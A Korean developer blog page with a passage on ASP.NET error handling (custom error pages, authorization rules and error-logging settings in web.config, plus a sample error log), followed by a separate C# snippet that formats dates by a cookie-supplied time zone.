예를들면 여러분이 루트 디렉터리와 떨어져 있는 Customers라는 로그인한 고객에게 제품 정보를 보여주는 정보를 담고있는 디렉터리를 가지고 있다고 하자. 여러분은 이 디렉터리에 대해 다른 에러 페이지 집합을 만들 수 있다. 주의할것은 redirect 속성은 여러분 사이트의 루트 디렉터리가 아닌 Customers 디렉터리에 대해 상대적인 경로를 가진다는 것이다. 필자는 다음 예에 MYDOMAIN\Customers만 파일에 액세스할 수 있도록 Security rule도 포함시켰다. 여러분은 web.config 파일에서 이들 에러에 대한 rule을 정의 할 수 있다.

<configuration>
  <system.web>
...
...
  </system.web>

    <!-- Customers 디렉터리에 대한 설정 -->
    <location path="Customers">
      <system.web>
        <customErrors mode="On" defaultRedirect="error.htm">
          <error statusCode="500" redirect="CustomerError500.aspx"/>
          <error statusCode="401" redirect="CustomerAccessDenied.aspx"/>
          <error statusCode="404" redirect="CustomerPageNotFound.htm"/>
          <error statusCode="403" redirect="noaccessallowed.htm"/>
        </customErrors>
        <authorization>
          <allow roles="MYDOMAIN\Customers" />
          <deny users="*" />
        </authorization>
      </system.web>
    </location>

필자가 개발중에 발견한 것이 있는데 그것은 이들 에러가 상속되는 것처럼 보인다는 것이다. 이게 무엇을 말하는가하면 여러분이 루트에 500 에러를 정의하였고 Customers 디렉터리에는 정의하지 않고 다만 defaultRedirect만 지정했다면 Customers 디렉터리에서 에러가 발생하였을때 루트에 있는 500 에러 핸들러가 호출된다.

 

 

코드 사용

저번장에서 애플리케이션의 셋팅에 대해서 보았다. 이번에는 어떻게 코드를 작성하는지에 대해서 볼 것이다. 첨부한 소스파일에는 두개의 프로젝트가 들어있다. 먼저 웹 프로젝트에서는 몇개의 버튼이 있고 각각의 버튼마다 다른 에러를 발생하도록 하였다. 또한 페이지, global.asax, web.config 파일을 통한 에러처리의 예도 넣었다. web.config 파일에서 주의깊게 보아야 할 부분이다.

<appSettings>
  <add key="ErrorLoggingLogToDB" value="True" />
  <add key="ErrorLoggingLogToEventLog" value="True" />
  <add key="ErrorLoggingLogToFile" value="True" />
  <add key="ErrorLoggingConnectString" value="Initial Catalog=DotNetErrorLog;Data Source=localhost;Integrated Security=SSPI;" />
  <add key="ErrorLoggingEventLogType" value="Application" />
  <add key="ErrorLoggingLogFile" value="c:\ErrorManager.log" />
</appSettings>

필자는 애플리케이션 설정을 위와 같이 하였다. web.config를 사용하면 여러분은 이러한 정보를 레지스트리에 유지할 필요가 없고 애플리케이션을 개발환경에서 실제 프로덕션 환경으로 옮기는데도 쉽다. 보안 측면을 고려한다면 닷넷의 암호화된 클래스를 사용하여 데이터베이스 연결정보를 암호화하고 이를 web.config에 저장하는 것이다. 이는 이 기사의 내용에서 벗어나는 것이기 때문에 생략하도록 하겠다. 설정의 내용은 다음과 같다.

  • 데이터베이스에 로그 기록
    1. ErrorLoggingLogToDB - True로 설정하면 로그를 데이터베이스에 기록할 수 있다.
    2. ErrorLoggingConnectString - 에러를 저장할 데이터베이스에 사용될 연결문자열

  • 이벤트 로그에 로그 기록
    1. ErrorLoggingLogToEventLog - True로 설정하면 이벤트 로그에 에러정보를 기록한다.
    2. ErrorLoggingEventLogType - 이벤트 로그의 종류의 이름(예: 시스템, 응용프로그램) 여러분은 웹 에러만을 위한 새로운 이벤트 로그 종류를 만들수도 있다.

  • 텍스트 파일에 로그 기록
    1. ErrorLoggingLogToFile - True로 설정하면 로그를 텍스트 파일에 기록할 수 있다.
    2. ErrorLoggingLogFile - 에러 로그를 저장할 파일의 경로

다음은 저장된 로그의 샘플이다.

-----------------12/20/2002 3:00:36 PM-----------------
SessionID:qwyvaojenw1ad1553ftnesmq
Form Data:
__VIEWSTATE - dDwtNTMwNzcxMzI0Ozs+4QI35VkUBmX1qfHHH8i25a/4g4A=
Button1 - Cause a generic error in the customer directory
1: Error Description:Exception of type System.Web.HttpUnhandledException was thrown.
1: Source:System.Web
1: Stack Trace: at System.Web.UI.Page.HandleError(Exception e)
1: at System.Web.UI.Page.ProcessRequestMain()
1: at System.Web.UI.Page.ProcessRequest()
1: at System.Web.UI.Page.ProcessRequest(HttpContext context)
1: at System.Web.CallHandlerExecutionStep.Execute()
1: at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
1: Target Site:Boolean HandleError(System.Exception)
2: Error Description:Object reference not set to an instance of an object.
2: Source:ErrorHandling
2: Stack Trace: at ErrorHandling.WebForm2.Button1_Click(Object sender, EventArgs e) in C:\Inetpub\wwwroot\ErrorHandling\Customers\WebForm2.aspx.vb:line 26
2: at System.Web.UI.WebControls.Button.OnClick(EventArgs e)
2: at System.Web.UI.WebControls.Button.System.Web.UI.IPostBackEventHandler.
RaisePostBackEvent(String eventArgument)
2: at System.Web.UI.Page.RaisePostBackEvent(IPostBackEventHandler sourceControl, String eventArgument)
2: at System.Web.UI.Page.RaisePostBackEvent(NameValueCollection postData)
2: at System.Web.UI.Page.ProcessRequestMain()
2: Target Site:Void Button1_Click(System.Object, System.EventArgs)

먼저 날자와 시간이 로그에 기록된다. 그리고 사용자의 세션 ID가 기록된다. 세션 ID들은 모두 숫자였던 ASP 세션 ID와는 다른 모습이다. 다음 줄은 페이지의 폼 데이터를 담고 있다. 다음 줄에 1이라고 있는 것은 첫번째 에러이다. 그리고 에러에 대한 정보와 소스, 스택 추적 정보와 어떤 함수가 에러를 발생했는지 알 수 있다. 2로 시작되는 것은 1에 앞서 발생된 에러이다.

여기에 좀 더 아이디어를 추가한다면 에러를 계층형으로 보기 좋게 표현할 수도 있을 것이다. 그리고 SMTP 컴포넌트를 추가하여 에러가 발생하였을때 여러분에게 이메일로 통보할 수 있도록 할 수 있을 것이다. 이는 appSettings에서 이메일 주소를 명시하고 CErrorLog.GetErrorAsString을 사용하여 이메일로 보낼 문자를 얻을 수 있다.

  • 소스코드 다운

    - ErrorManager 프로젝트를 먼저 컴파일하고 ErrorHandling 프로젝트에서 이를 참조한 후 실행시킨다.

  • Posted by SB패밀리

    private void Page_Load(System.Object sender, System.EventArgs e)
      {
                   //sInDate = Strings.Format(DateTime.Now, "yyyy-MM-dd");
                //sInDate = fnGetLangTypeCurrentDate();//로그인한 LangType별 일자 셋팅
                //sInDate = fnChangeDate(DateTime.Now.ToString("U", DateTimeFormatInfo.InvariantInfo));//로그인한 LangType,시간대별 일자 셋팅 (현재시간 UTC형식으로 변경)
                sInDate = fnChangeDate(DateTime.Now.ToString());//로그인한 LangType,시간대별 일자 셋팅 (현재시간 UTC형식으로 변경)

        }

     

     

    //로그인한 국가별 시간대별 일자셋팅
            private string fnChangeDate(string sDate)
            {
                string sRstValue = string.Empty;
                sDate = DateTime.Parse(sDate).ToString("U", System.Globalization.DateTimeFormatInfo.InvariantInfo);//UTC 포멧
                DateTime dt = DateTime.Parse(sDate);

                int iGmt = 9;// 한국 시간대를 기본으로 한다.(GMT +9)
                if (Request.Cookies["Login_GMT"] != null)
                    iGmt = int.Parse(Request.Cookies["Login_GMT"].Value.Trim());
                dt = dt.AddHours(iGmt);

                if (CurrentLanguage.IndexOf("ko") >= 0)
                {
                    //sRstValue += dt.ToString(new System.Globalization.CultureInfo("ko-kr").DateTimeFormat);//일시
                    sRstValue += dt.ToString("yyyy-MM-dd", System.Globalization.DateTimeFormatInfo.InvariantInfo);//일자
                }
                else
                {
                    //sRstValue = dt.ToString(new System.Globalization.CultureInfo("en-us").DateTimeFormat);//일시
                    sRstValue += dt.ToString("d", System.Globalization.DateTimeFormatInfo.InvariantInfo);//일자
                }

                return sRstValue;
            }

            ////로그인한 LangType 에 따른 날짜포멧 변경
            //private string fnGetLangTypeCurrentDate()
            //{
            //    if (CurrentLanguage == "ko")
            //        return DateTime.Now.ToString("yyyy-MM-dd", DateTimeFormatInfo.InvariantInfo);
            //    else
            //        return DateTime.Now.ToString("d", DateTimeFormatInfo.InvariantInfo);
            //}

            ////로그인한 국가별 시간대별 일자셋팅
            //private string fnChangeDate(string sDate)
            //{
            //    try
            //    {
            //        //DateTime dt = DateTime.Parse(sDate).AddHours(-9);
            //        DateTime dt = DateTime.Parse(sDate);
            //        sDate = GetDateTimeString(UTC2LocalDateTime(dt));
            //    }
            //    catch (Exception ex)
            //    {
            //        //CommonUtils.ThrowException(ex, "fnChangeDate");
            //    }
            //    return sDate;
            //}       
            // UTC DateTime 을 로그인한 시간대별 시간으로 바꿔준다.
            //protected DateTime UTC2LocalDateTime(DateTime dt)
            //{
            //    int iGmt = 9;// 한국 시간대를 기본으로 한다.(GMT +9)

            //    if (Request.Cookies["Login_GMT"] != null)
            //        iGmt = int.Parse(Request.Cookies["Login_GMT"].Value.Trim());
               
            //    return dt.AddHours(iGmt);
            //}
            //// 언어에 따라 날짜 시간 포맷에 맞는 스트링을 반환
            //protected string GetDateTimeString(DateTime dt)
            //{
            //    string sRstValue = string.Empty;

            //    try
            //    {
            //        if (CurrentLanguage.IndexOf("ko") >= 0)
            //        {
            //            //sRstValue += dt.ToString(new System.Globalization.CultureInfo("ko-kr").DateTimeFormat);//일시
            //            sRstValue += dt.ToString("yyyy-MM-dd", DateTimeFormatInfo.InvariantInfo);//일자
            //        }
            //        else
            //        {
            //            //sRstValue = dt.ToString(new System.Globalization.CultureInfo("en-us").DateTimeFormat);//일시
            //            sRstValue += dt.ToString("d", DateTimeFormatInfo.InvariantInfo);//일자
            //        }
            //    }
            //    catch (Exception)
            //    {
            //        sRstValue = dt.ToString();
            //    }
            //    return sRstValue;
            //}
            #endregion

    Posted by SB패밀리